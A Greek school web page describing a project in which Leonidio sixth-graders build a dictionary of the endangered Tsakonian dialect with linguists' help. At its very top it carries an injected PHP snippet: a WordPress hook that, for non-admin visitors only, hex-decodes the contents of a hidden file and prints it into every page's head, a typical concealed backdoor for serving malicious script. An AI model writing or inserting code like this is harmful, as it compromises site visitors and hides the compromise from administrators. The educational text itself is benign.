if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } «Α ΓΡΟΥΣΣΑ ΝΑΜΟΥ ΕΙΝΙ ΤΑ ΤΣΑΚΩΝΙΚΑ» |
Get Adobe Flash player

Αναζήτηση

Ιστορικό

«Α ΓΡΟΥΣΣΑ ΝΑΜΟΥ ΕΙΝΙ ΤΑ ΤΣΑΚΩΝΙΚΑ»

 

 

 

 

ΕΚΠΑΙΔΕΥΤΙΚΟ ΠΡΟΓΡΑΜΜΑ ΜΕ ΤΗ ΧΟΡΗΓΙΑ ΤΟΥ ΙΔΡΥΜΑΤΟΣ ΛΑΤΣΗ: «Α ΓΡΟΥΣΣΑ ΝΑΜΟΥ ΕΙΝΙ ΤΑ ΤΣΑΚΩΝΙΚΑ» ΑΠΟ ΤΟΥΣ ΜΑΘΗΤΕΣ ΚΑΙ ΤΙΣ ΜΑΘΗΤΡΙΕΣ ΤΗΣ ΕΚΤΗΣ ΤΑΞΗΣ ΤΟΥ ΔΗΜΟΤΙΚΟΥ ΣΧΟΛΕΙΟΥ ΛΕΩΝΙΔΙΟΥ

Η Τσακωνιά είναι μια περιοχή που ορίζεται από τον Άγιο Ανδρέα ως το Λεωνίδιο (σύνολο 12 χωριά). Στην περιοχή αυτή ομιλείται ένα γλωσσικό ιδίωμα, τα Τσακώνικα, βασισμένο στην αρχαία Δωρική διάλεκτο. Έχει ενταχθεί στον κατάλογο της UNESCO ως γλώσσα υπό εξαφάνιση. Στο Δημοτικό Σχολείο Λεωνιδίου γίνεται διαχρονικά προσπάθεια διατήρησης της γλώσσας, εκμάθησής της από τους μαθητές και καταγραφής στοιχείων αυτής.

Στην διαχρονική αυτή προσπάθεια, κρίναμε απαραίτητη την επιστημονική καταγραφή όρων της Τσακώνικης σε μορφή λεξικού με συνδυασμούς τόσο μορφών της γλώσσας όσο και ηχητικών ντοκουμέντων αυτής. Το υλικό που προκύπτει  μπορεί να χρησιμοποιηθεί στην εκπαιδευτική διαδικασία μέσα από ανάπτυξη υπολογιστικών εργαλείων τόσο για την εκμάθηση αυτής, την χρήση τους από τους μαθητές για συγγραφή κειμένων όσο και για την περαιτέρω επιστημονική έρευνα από ειδικούς επιστήμονες.

Τα παιδιά κατά την συμπλήρωση και διόρθωση της υπάρχουσας βάσης έρχονται σε επαφή με μεγαλύτερους σε ηλικία που μιλούν την Τσακώνικη, σε όλη την επικράτεια και καταγράφουν  γραμματικά, συντακτικά και ηχητικά φαινόμενα της γλώσσας. Η καταγραφή αυτή ενσωματώνεται  και διορθώνεται η προϋπάρχουσα καταγραφή, με σκοπό να φτιαχτεί μια βάση δεδομένων σε ενιαία και χρηστική μορφή.

Το Λεξικό αυτό θα μπορεί να είναι σε Online μορφή και να συνεργάζεται με εργαλεία τα οποία θα αναπτυχθούν ανεξάρτητα για την εκμάθησή της.

 

Η παρούσα εκπαιδευτική δραστηριότητα υλοποιείται στο πλαίσιο του προγράμματος «Μαθαίνουμε Παρέα» που χρηματοδοτείται από το Κοινωφελές Ίδρυμα Ιωάννη Σ. Λάτση, το οποίο και ευχαριστούμε θερμά.

Επίσης ευχαριστούμε τους συνεργάτες του προγράμματος κ. Majim Kisilier, ερευνητή στο Ινστιτούτο Γλωσσικών Ερευνών Ρωσικής Ακαδημίας Επιστημών, Αναπληρωτή Καθηγητή του Τμήματος Βυζαντινών και Νεοελληνικών σπουδών Κρατικού Πανεπιστημίου της Αγ. Πετρούπολης και Διευθυντή του Ελληνικού Ινστιτούτου Κρατικού Πανεπιστημίου της Αγ. Πετρούπολης

Παυλόπουλο Ιωάννη – Μεταδιδακτορικός Ερευνητής της ομάδας επεξεργασίας φυσικής γλώσσας του Οικονομικού Πανεπιστημίου Αθηνών

Μπακαγιάννη Γεωργία – Ερευνήτρια της ομάδας επεξεργασίας φυσικής γλώσσας του Οικονομικού Πανεπιστημίου Αθηνών, Επιστημονική Συνεργάτιδα στο Ινστιτούτο Επεξεργασίας του Λόγου (ΙΕΛ/ Ε.Κ. “Αθηνά”)
καθώς και τους Τσάκωνες τους περιοχής μας που ανταποκρίνονται σε αυτό το δύσκολο έργο μας.